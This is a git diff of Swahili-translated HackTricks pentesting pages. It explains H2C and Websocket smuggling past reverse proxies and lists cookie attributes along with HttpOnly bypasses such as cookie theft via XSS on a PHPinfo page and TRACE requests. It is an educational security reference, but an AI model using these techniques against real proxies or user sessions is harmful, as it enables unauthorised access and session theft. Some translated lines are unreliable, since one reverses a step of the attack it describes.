<summary><strong>Jifunze kuhusu kuingiza AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swagi rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Shiriki mbinu zako za kuingiza kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -1,4 +1,4 @@
# Kuboresha Kichwa cha Kuingiza
# Kuboresha Kichwa cha Kichwa
<details>
@ -6,9 +6,9 @@
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
@ -16,35 +16,35 @@ Njia nyingine za kusaidia HackTricks:
**Kikundi cha Usalama cha Kujitahidi**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
### Kuingiza H2C <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
### H2C Smuggling <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
#### HTTP2 Juu ya Nakala Wazi (H2C) <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
H2C, au **http2 juu ya nakala wazi**, inatofautiana na kawaida ya mawasiliano ya HTTP ya muda mfupi kwa kuboresha **mawasiliano ya HTTP ya kawaida kuwa moja endelevu**. Mawasiliano yaliyoboreshwa hutumia itifaki ya binary ya http2 kwa mawasiliano yanayoendelea, tofauti na asili ya ombi moja la HTTP ya nakala wazi.
H2C, au **http2 juu ya nakala wazi**, inatofautiana na kawaida ya mawasiliano ya HTTP ya muda mfupi kwa kuboresha **mawasiliano ya HTTP ya kawaida kuwa moja ya kudumu**. Mawasiliano yaliyoboreshwa hutumia itifaki ya binary ya http2 kwa mawasiliano endelevu, tofauti na asili ya ombi moja la HTTP ya nakala wazi.
Makali ya tatizo la kuingiza hutokea wakati wa matumizi ya **proxy ya kurudisha**. Kawaida, proxy ya kurudisha huprocess na kutuma maombi ya HTTP kwa seva ya nyuma, kurudisha jibu la seva ya nyuma baada ya hapo. Walakini, wakati kichwa cha `Connection: Kuboresha` kipo katika ombi la HTTP (mara nyingi huonekana na mawasiliano ya websocket), **proxy inaendeleza mawasiliano endelevu** kati ya mteja na seva, kurahisisha kubadilishana kwa mara kwa mara inayohitajika na itifaki fulani. Kwa mawasiliano ya H2C, kufuata RFC kunahitaji uwepo wa vichwa vitatu maalum:
Makali ya tatizo la kudukua hutokea wakati wa matumizi ya **proxy ya kurudisha**. Kawaida, proxy ya kurudisha huprocess na kutuma maombi ya HTTP kwa seva ya nyuma, kurudisha jibu la seva ya nyuma baada ya hapo. Walakini, wakati kichwa cha `Connection: Kuboresha` kipo katika ombi la HTTP (mara nyingi huonekana na mawasiliano ya websocket), proxy ya kurudisha **inahifadhi mawasiliano ya kudumu** kati ya mteja na seva, kurahisisha kubadilishana kwa mara kwa mara inayohitajika na itifaki fulani. Kwa mawasiliano ya H2C, kufuata RFC kunahitaji uwepo wa vichwa vitatu maalum:
```
Upgrade: h2c
HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA
Connection: Upgrade, HTTP2-Settings
```
Mkazo unatokea wakati, baada ya kuboresha uhusiano, reverse proxy inakoma kusimamia maombi binafsi, ikidhani kazi yake ya kuongoza imekamilika baada ya kuanzisha uhusiano. Kuchexploit H2C Smuggling inaruhusu kuzunguka sheria za reverse proxy zilizotumika wakati wa usindikaji wa maombi, kama vile kuongoza kulingana na njia, uthibitishaji, na usindikaji wa WAF, ikidhani uhusiano wa H2C unafanikiwa kuanzishwa.
Mkazo unatokea wakati, baada ya kuboresha uhusiano, reverse proxy inakoma kusimamia maombi binafsi, ikidhani kazi yake ya kuongoza imekamilika baada ya kuanzisha uhusiano. Kutumia H2C Smuggling inaruhusu kuzunguka sheria za reverse proxy zilizotumika wakati wa usindikaji wa maombi, kama vile kuongoza kulingana na njia, uthibitishaji, na usindikaji wa WAF, ikidhani uhusiano wa H2C unafanikiwa kuanzishwa.
#### Proxies Zenye Udhaifu <a href="#exploitation" id="exploitation"></a>
#### Proksi Zenye Udhaifu <a href="#exploitation" id="exploitation"></a>
Mkazo unategemea jinsi reverse proxy inavyoshughulikia vichwa vya `Upgrade` na mara nyingine `Connection`. Proxies zifuatazo kwa asili huzisonga vichwa hivi wakati wa kupeleka kwa proxy-pass, hivyo kwa asili kuwezesha H2C smuggling:
Mkazo unategemea jinsi proksi ya reverse inavyoshughulikia vichwa vya `Upgrade` na mara nyingine vichwa vya `Connection`. Proksi zifuatazo kwa asili huzisonga vichwa hivi wakati wa kupitisha proksi, hivyo kwa asili kuruhusu H2C smuggling:
* HAProxy
* Traefik
* Nuster
Kinyume chake, huduma hizi kwa asili hazisongi vichwa vyote wakati wa kupeleka kwa proxy-pass. Hata hivyo, zinaweza kuwekwa kwa njia isiyo salama, kuruhusu usongaji usio na kichujio wa vichwa vya `Upgrade` na `Connection`:
Kinyume chake, huduma hizi kwa asili hazisongi vichwa vyote wakati wa kupitisha proksi. Hata hivyo, zinaweza kuwekwa kwa njia isiyokuwa salama, kuruhusu usongaji usio na kichujio wa vichwa vya `Upgrade` na `Connection`:
* AWS ALB/CLB
* NGINX
@ -55,31 +55,31 @@ Kinyume chake, huduma hizi kwa asili hazisongi vichwa vyote wakati wa kupeleka k
* Envoy
* Apache Traffic Server
#### Kuchexploit <a href="#exploitation" id="exploitation"></a>
#### Kutumia <a href="#exploitation" id="exploitation"></a>
Ni muhimu kutambua kwamba si seva zote kwa asili zinasonga vichwa vinavyohitajika kwa ajili ya kuboresha uhusiano wa H2C kwa njia inayofuata sheria. Kwa hivyo, seva kama vile AWS ALB/CLB, NGINX, na Apache Traffic Server, miongoni mwa nyingine, kwa asili zinazuia uhusiano wa H2C. Hata hivyo, ni vyema kujaribu na toleo lisilofuata viwango vya `Connection: Upgrade`, ambavyo havijumuishi thamani ya `HTTP2-Settings` kutoka kwa kichwa cha `Connection`, kwani baadhi ya seva za nyuma hazizingatii viwango.
Ni muhimu kutambua kwamba si seva zote kwa asili zinasonga vichwa vinavyohitajika kwa kuboresha uhusiano wa H2C kwa njia inayofuata sheria. Kwa hivyo, seva kama AWS ALB/CLB, NGINX, na Apache Traffic Server, miongoni mwa nyingine, kwa asili zinazuia uhusiano wa H2C. Walakini, ni vyema kujaribu na toleo lisilofuata viwango la `Connection: Upgrade`, ambalo halijumuishi thamani ya `HTTP2-Settings` kutoka kwa kichwa cha `Connection`, kwani baadhi ya seva za nyuma hazizingatii viwango.
{% hint style="danger" %}
Bila kujali **njia** maalum iliyoteuliwa katika URL ya `proxy_pass` (k.m., `http://backend:9999/socket.io`), uhusiano ulioanzishwa unarudi kwa chaguo la msingi la `http://backend:9999`. Hii inaruhusu mwingiliano na njia yoyote ndani ya hatima hiyo, ikitumia mbinu hii. Hivyo, kutaja njia katika URL ya `proxy_pass` haizuili upatikanaji.
Bila kujali **njia** maalum iliyoteuliwa katika URL ya `proxy_pass` (k.m., `http://backend:9999/socket.io`), uhusiano ulioanzishwa unakuwa kwa chaguo-msingi `http://backend:9999`. Hii inaruhusu mwingiliano na njia yoyote ndani ya hatima hiyo, ikitumia mbinu hii. Kwa hivyo, kutaja njia katika URL ya `proxy_pass` haizuili upatikanaji.
{% endhint %}
Zana [**h2csmuggler na BishopFox**](https://github.com/BishopFox/h2csmuggler) na [**h2csmuggler na assetnote**](https://github.com/assetnote/h2csmuggler) hufanikisha majaribio ya **kuzunguka ulinzi uliowekwa na proxy** kwa kuanzisha uhusiano wa H2C, hivyo kuwezesha upatikanaji wa rasilimali zilizolindwa na proxy.
Zana [**h2csmuggler na BishopFox**](https://github.com/BishopFox/h2csmuggler) na [**h2csmuggler na assetnote**](https://github.com/assetnote/h2csmuggler) hufanikisha majaribio ya **kuzunguka ulinzi uliowekwa na proksi** kwa kuanzisha uhusiano wa H2C, hivyo kuruhusu upatikanaji wa rasilimali zilizolindwa na proksi.
Kwa habari zaidi kuhusu mkazo huu, hasa kuhusu NGINX, tazama [**rasilimali hii iliyodetauliwa**](../network-services-pentesting/pentesting-web/nginx.md#proxy\_set\_header-upgrade-and-connection).
## Websocket Smuggling
Websocket smuggling, tofauti na kuanzisha handaki ya HTTP2 kwa hatima inayopatikana kupitia proxy, inaanzisha handaki la Websocket kuzunguka vizuizi vya proxy na kurahisisha mawasiliano moja kwa moja na hatima.
Websocket smuggling, tofauti na kuanzisha handaki ya HTTP2 kwa hatima inayopatikana kupitia proksi, inaanzisha handaki la Websocket kuzunguka vizuizi vya proksi na kurahisisha mawasiliano moja kwa moja na hatima.
### Skena 1
Katika skena hii, hatima inayotoa API ya Websocket ya umma pamoja na API ya REST ya ndani isiyopatikana inalengwa na mteja mhalifu anayetafuta upatikanaji wa API ya REST ya ndani. Shambulio linajitokeza katika hatua kadhaa:
1. Mteja anaanza kwa kutuma ombi la Kuboresha kwa reverse proxy na toleo lisilo sahihi la itifaki ya `Sec-WebSocket-Version` kwenye kichwa. Proxy, ikishindwa kuthibitisha kichwa cha `Sec-WebSocket-Version`, inaamini ombi la Kuboresha ni sahihi na kulipeleka kwa hatima.
2. Hatima inajibu na nambari ya hali `426`, ikionyesha toleo lisilo sahihi la itifaki katika kichwa cha `Sec-WebSocket-Version`. Reverse proxy, ikipuuza hali ya jibu la hatima, inadhani kuwa tayari kwa mawasiliano ya Websocket na inapeleka jibu kwa mteja.
3. Kufuatia hivyo, reverse proxy inadanganywa kuamini kuwa uhusiano wa Websocket umewekwa kati ya mteja na hatima, wakati ukweli ni kwamba hatima ilikataa ombi la Kuboresha. Hata hivyo, proxy inadumisha uhusiano wa TCP au TLS kati ya mteja na hatima, kuruhusu mteja upatikanaji usiozuiliwa wa API ya REST ya faragha kupitia uhusiano huu.
1. Mteja anaanza kwa kutuma ombi la Kuboresha kwa proksi ya reverse na toleo sahihi la itifaki ya `Sec-WebSocket-Version` kwenye kichwa. Proksi, ikishindwa kuthibitisha kichwa cha `Sec-WebSocket-Version`, inaamini ombi la Kuboresha ni sahihi na kuliforward kwa hatima.
2. Hatima inajibu na nambari ya hali `426`, ikionyesha toleo lisilo sahihi la itifaki katika kichwa cha `Sec-WebSocket-Version`. Proksi ya reverse, ikipuuza hali ya majibu ya hatima, inadhani kuwa tayari kwa mawasiliano ya Websocket na kusambaza majibu kwa mteja.
3. Kufuatia hivyo, proksi ya reverse inadanganywa kuamini kuwa uhusiano wa Websocket umewekwa kati ya mteja na hatima, wakati halisi, hatima ilikataa ombi la Kuboresha. Hata hivyo, proksi inaendelea kuweka wazi uhusiano wa TCP au TLS kati ya mteja na hatima, kuruhusu mteja upatikanaji usiozuiliwa wa API ya REST ya faragha kupitia uhusiano huu.
Proxies zenyeathiriwa ni pamoja na Varnish, ambayo ilikataa kushughulikia suala hilo, na proxy ya Envoy toleo 1.8.0 au la zamani, na toleo za baadaye zimebadilisha mbinu ya kuboresha. Proxies nyingine pia zinaweza kuwa hatarini.
Proksi za reverse zilizoathiriwa ni pamoja na Varnish, ambayo ilikataa kushughulikia suala hilo, na proksi ya Envoy toleo 1.8.0 au la zamani, na toleo za baadaye zimebadilisha mbinu ya kuboresha. Proksi nyingine pia zinaweza kuwa na udhaifu.
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/2-4.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/2-4.png)
@ -87,18 +87,18 @@ Proxies zenyeathiriwa ni pamoja na Varnish, ambayo ilikataa kushughulikia suala
Skena hii inahusisha hatima yenye API ya Websocket ya umma na API ya REST ya umma kwa ukaguzi wa afya, pamoja na API ya REST ya ndani isiyopatikana. Shambulio, lenye utata zaidi, linajumuisha hatua zifuatazo:
1. Mteja anatuma ombi la POST kuanzisha API ya ukaguzi wa afya, likijumuisha kichwa cha HTTP cha ziada `Upgrade: websocket`. NGINX, ikifanya kazi kama reverse proxy, inachukulia hili kama ombi la Kuboresha la kawaida kulingana tu na kichwa cha `Upgrade`, ikipuuza vipengele vingine vya ombi, na kulipeleka kwa hatima.
2. Hatima inatekeleza API ya ukaguzi wa afya, ikifikia rasilimali ya nje inayodhibitiwa na mshambuliaji ambayo inarudisha jibu la HTTP lenye nambari ya hali `101`. Jibu hili, mara tu linapopokelewa na hatima na kusambazwa kwa NGINX, linadanganya proxy kuamini kuwa uhusiano wa Websocket umewekwa kutokana na uthibitisho wake wa nambari ya hali pekee.
1. Mteja anatuma ombi la POST kuanzisha API ya ukaguzi wa afya, likijumuisha kichwa cha HTTP cha ziada `Upgrade: websocket`. NGINX, ikifanya kazi kama proksi ya reverse, inachukulia hili kama ombi la Kuboresha la kawaida kulingana tu na kichwa cha `Upgrade`, ikipuuza vipengele vingine vya ombi, na kuliforward kwa hatima.
2. Hatima inatekeleza API ya ukaguzi wa afya, ikifikia rasilimali ya nje inayodhibitiwa na mshambuliaji ambayo inarudisha jibu la HTTP lenye nambari ya hali `101`. Jibu hili, mara tu linapopokelewa na hatima na kusambazwa kwa NGINX, linadanganya proksi kuamini kuwa uhusiano wa Websocket umewekwa kutokana na uthibitisho wake wa nambari ya hali pekee.
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-4.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-4.png)
> **Onyo:** Utata wa mbinu hii unazidi kwani inahitaji uwezo wa kuingiliana na hatima inayoweza kurudisha nambari ya hali 101.
> **Onyo:** Utata wa mbinu hii unaongezeka kwani inahitaji uwezo wa kuingiliana na hatima inayoweza kurudisha nambari ya hali 101.
Hatimaye, NGINX inadanganywa kuamini kuwa uhusiano wa Websocket upo kati ya mteja na hatima. Kwa ukweli, uhusiano kama huo haupo; API ya REST ya ukaguzi wa afya ilikuwa lengo. Hata hivyo, reverse proxy inadumisha uhusiano wazi, kuruhusu mteja kupata API ya REST ya faragha kupitia huo.
Hatimaye, NGINX inadanganywa kuamini kuwa uhusiano wa Websocket upo kati ya mteja na hatima. Kwa hakika, uhusiano kama huo haupo; API ya REST ya ukaguzi wa afya ilikuwa lengo. Walakini, proksi ya reverse inaendelea kuweka uhusiano wazi, kuruhusu mteja kupata API ya REST ya faragha kupitia huo.
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png)
Proxies nyingi za reverse ziko hatarini kwa skena hii, lakini kuchexploit kunategemea uwepo wa udhaifu wa SSRF wa nje, kawaida ukitazamwa kama suala la kiwango cha chini.
Proksi nyingi za reverse ziko katika hatari katika skena hii, lakini kutumia inategemea uwepo wa udhaifu wa SSRF wa nje, kawaida ukitazamwa kama suala la kiwango cha chini.
#### Maabara
@ -109,3 +109,24 @@ Angalia maabara ili kujaribu skena zote mbili kwenye [https://github.com/0ang3el
* [https://blog.assetnote.io/2021/03/18/h2c-smuggling/](https://blog.assetnote.io/2021/03/18/h2c-smuggling/)
* [https://bishopfox.com/blog/h2c-smuggling-request](https://bishopfox.com/blog/h2c-smuggling-request)
* [https://github.com/0ang3el/websocket-smuggle.git](https://github.com/0ang3el/websocket-smuggle.git)
**Kikundi cha Usalama cha Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJISAJILI**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -2,11 +2,11 @@
<details>
<summary><strong>Jifunze kuhusu kuvunja AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuvunja AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -14,9 +14,9 @@ Njia nyingine za kusaidia HackTricks:
</details>
**Kikundi cha Usalama cha Kujitahidi**
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -28,22 +28,22 @@ Vidakuzi huja na sifa kadhaa ambazo hudhibiti tabia yao kwenye kivinjari cha mtu
### Muda wa Kufunga na Max-Age
Tarehe ya kufungwa kwa kuki inadhibitiwa na sifa ya `Expires`. Kinyume chake, sifa ya `Max-age` inadefini muda kwa sekunde mpaka kuki ifutwe. **Chagua `Max-age` kwani inaakisi mazoea ya kisasa zaidi.**
Tarehe ya kufungwa kwa kuki inadhibitiwa na sifa ya `Expires`. Kinyume chake, sifa ya `Max-age` inadefini muda kwa sekunde hadi kuki ifutwe. **Chagua `Max-age` kwani inaonyesha mazoea ya kisasa zaidi.**
### Kikoa
Wenyeji wa kupokea kuki hufafanuliwa na sifa ya `Domain`. Kwa chaguo-msingi, hii imewekwa kwa mwenyeji aliyeitoa kuki, bila kujumuisha vikoa vyake vya sekondari. Walakini, wakati sifa ya `Domain` inawekwa wazi, inajumuisha pia vikoa vya sekondari. Hii hufanya ufafanuzi wa sifa ya `Domain` kuwa chaguo lisilokuwa na kizuizi, lenye manufaa kwa hali ambapo kugawana kuki kati ya vikoa vya sekondari ni muhimu. Kwa mfano, kuweka `Domain=mozilla.org` hufanya vidakuzi kupatikana kwenye vikoa vyake vya sekondari kama `developer.mozilla.org`.
Wenyeji wa kupokea kuki hufafanuliwa na sifa ya `Domain`. Kwa chaguo-msingi, hii imewekwa kwa mwenyeji aliyeitoa kuki, bila kujumuisha subdomains yake. Walakini, wakati sifa ya `Domain` inawekwa wazi, inajumuisha pia subdomains. Hii hufanya ufafanuzi wa sifa ya `Domain` kuwa chaguo lisilokuwa na kizuizi, lenye manufaa kwa hali ambapo kugawana kuki kati ya subdomains ni muhimu. Kwa mfano, kuweka `Domain=mozilla.org` hufanya vidakuzi kupatikana kwenye subdomains kama `developer.mozilla.org`.
### Njia
Njia maalum ya URL ambayo lazima iwe wazi kwenye URL iliyotakiwa kwa kichwa cha `Cookie` kutumwa inaonyeshwa na sifa ya `Path`. Sifa hii inachukulia `/` kama kipambanua cha saraka, kuruhusu kupatikana kwa mechi katika vikaragosi vya sekondari pia.
Njia maalum ya URL ambayo lazima iwe wazi kwenye URL iliyotakiwa kwa kichwa cha `Cookie` kutumwa inaonyeshwa na sifa ya `Path`. Sifa hii inachukulia `/` kama kipambanua cha saraka, kuruhusu mechi katika vijitengo vya chini pia.
### Sheria za Uagizaji
### Sheria za Kuagiza
Wakati vidakuzi viwili vinabeba jina moja, kile kinachochaguliwa kutumwa kinafuata:
Wakati vidakuzi viwili vinabeba jina sawa, kile kinachochaguliwa kutumwa kinafuata:
* Kuki inayolingana na njia ndefu zaidi kwenye URL iliyotakiwa.
* Kuki iliyowekwa hivi karibuni zaidi ikiwa njia zinafanana.
* Kuki iliyowekwa hivi karibuni zaidi ikiwa njia ni sawa.
### SameSite
@ -52,9 +52,9 @@ Wakati vidakuzi viwili vinabeba jina moja, kile kinachochaguliwa kutumwa kinafua
* **Lax**: Inaruhusu kuki kutumwa na maombi ya GET yaliyoanzishwa na tovuti za vikoa vya tatu.
* **None**: Inaruhusu kuki kutumwa kutoka kwa kikoa chochote cha tatu.
Kumbuka, wakati wa kusanidi vidakuzi, kuelewa sifa hizi kunaweza kusaidia kuhakikisha vinajitokeza kama ilivyotarajiwa katika hali tofauti.
Kumbuka, wakati unakusanya vidakuzi, kuelewa sifa hizi kunaweza kusaidia kuhakikisha vinajitokeza kama ilivyotarajiwa katika hali tofauti.
| **Aina ya Ombi** | **Msimbo wa Mfano** | **Vidakuzi Vinavyotumwa Wakati** |
| **Aina ya Ombi** | **Mfano wa Kanuni** | **Vidakuzi Vitumwavyo Wakati** |
| ---------------- | ---------------------------------- | --------------------- |
| Kiungo | \<a href="...">\</a> | NotSet\*, Lax, None |
| Prerender | \<link rel="prerender" href=".."/> | NotSet\*, Lax, None |
@ -64,11 +64,11 @@ Kumbuka, wakati wa kusanidi vidakuzi, kuelewa sifa hizi kunaweza kusaidia kuhaki
| AJAX | $.get("...") | NotSet\*, None |
| Picha | \<img src="..."> | NetSet\*, None |
Meza kutoka [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) na imebadilishwa kidogo.\
Jedwali kutoka [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) na kubadilishwa kidogo.\
Kuki yenye sifa ya _**SameSite**_ itasaidia **kupunguza mashambulizi ya CSRF** ambapo kikao kilichosajiliwa kinahitajika.
**\*Tambua kwamba kutoka Chrome80 (feb/2019) tabia ya chaguo-msingi ya kuki bila sifa ya kuki samesite** **itakuwa lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
Tambua kuwa kwa muda, baada ya kufanya mabadiliko haya, **vidakuzi bila sera ya SameSite** **katika Chrome vitatibiwa kama None** wakati wa **kwanza 2 dakika na kisha kama Lax kwa maombi ya POST ya msingi wa juu wa tovuti.**
**\*Tambua kwamba kutoka Chrome80 (feb/2019) tabia ya chaguo-msingi ya kuki bila sifa ya samesite** **itakuwa lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
Tambua kuwa kwa muda, baada ya kutumia mabadiliko haya, **vidakuzi bila sera ya SameSite** **katika Chrome vitatibiwa kama None** wakati wa **dakika 2 za kwanza na kisha kama Lax kwa ombi za POST za juu za msingi.**
## Alama za Vidakuzi
@ -76,13 +76,13 @@ Tambua kuwa kwa muda, baada ya kufanya mabadiliko haya, **vidakuzi bila sera ya
Hii inazuia **mteja** kupata kuki (Kupitia **Javascript** kwa mfano: `document.cookie`)
#### **Kupitisha**
#### **Kupita**
* Ikiwa ukurasa unatuma vidakuzi kama jibu la maombi (kwa mfano kwenye ukurasa wa **PHPinfo**), inawezekana kutumia XSS kutuma ombi kwa ukurasa huu na **kuiba vidakuzi** kutoka kwa jibu (angalia mfano katika [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/).
* Hii inaweza Kupitishwa na maombi ya **HTTP ya TRACE** kama jibu kutoka kwa seva (ikiwa njia hii ya HTTP inapatikana) itaonyesha vidakuzi vilivyotumwa. Mbinu hii inaitwa **Cross-Site Tracking**.
* Mbinu hii inaepukwa na **vivinjari vya kisasa kwa kutokuruhusu kutuma ombi la TRACE** kutoka JS. Walakini, baadhi ya njia za kupitisha hii zimepatikana katika programu maalum kama kutuma `\r\nTRACE` badala ya `TRACE` kwa IE6.0 SP2.
* Njia nyingine ni kutumia udhaifu wa siku/zero wa vivinjari.
* Inawezekana **kuandika upya vidakuzi vya HttpOnly** kwa kufanya shambulio la kujaza Jar ya Kuki:
* Mbinu hii inaepukwa na **vivinjari vya kisasa kwa kutokuruhusu kutuma ombi la TRACE** kutoka JS. Walakini, baadhi ya njia za kupita hii zimepatikana katika programu maalum kama kutuma `\r\nTRACE` badala ya `TRACE` kwa IE6.0 SP2.
* Njia nyingine ni kutumia mapungufu ya siku sifuri/ya siku moja ya vivinjari.
* Inawezekana **kubadilisha vidakuzi vya HttpOnly** kwa kufanya shambulio la kujaza Kikapu cha Vidakuzi:
{% content-ref url="cookie-jar-overflow.md" %}
[cookie-jar-overflow.md](cookie-jar-overflow.md)
@ -92,7 +92,7 @@ Hii inazuia **mteja** kupata kuki (Kupitia **Javascript** kwa mfano: `document.c
### Salama
Ombi litatuma kuki **pekee** kwenye ombi la HTTP ikiwa ombi linatumwa kupitia kituo salama (kawaida **HTTPS**).
Ombi litatuma kuki **tu** katika ombi la HTTP ikiwa ombi linatumwa kupitia kituo salama (kawaida **HTTPS**).
## Vielekezi vya Vidakuzi
@ -100,15 +100,15 @@ Vidakuzi vilivyo na kipimo cha `__Secure-` vinahitajika kuwekwa pamoja na bender
Kwa vidakuzi vilivyo na kipimo cha `__Host-`, hali kadhaa lazima zikutane:
* Lazima viwekwe na bendera ya `salama`.
* Lazima vitoke kutoka kwenye ukurasa uliolindwa na HTTPS.
* Imezuiliwa kutaja kikoa, kuzuia usafirishaji wao kwa vikoa vya sekondari.
* Njia kwa vidakuzi hivi lazima iwekwe kama `/`.
* Lazima ziwekwe na bendera ya `salama`.
* Lazima zitoke kwenye ukurasa uliolindwa na HTTPS.
* Zimepigwa marufuku kutaja kikoa, kuzuia kutumwa kwao kwa subdomains.
* Njia kwa vidakuzi hivi lazima iwekwe kwa `/`.
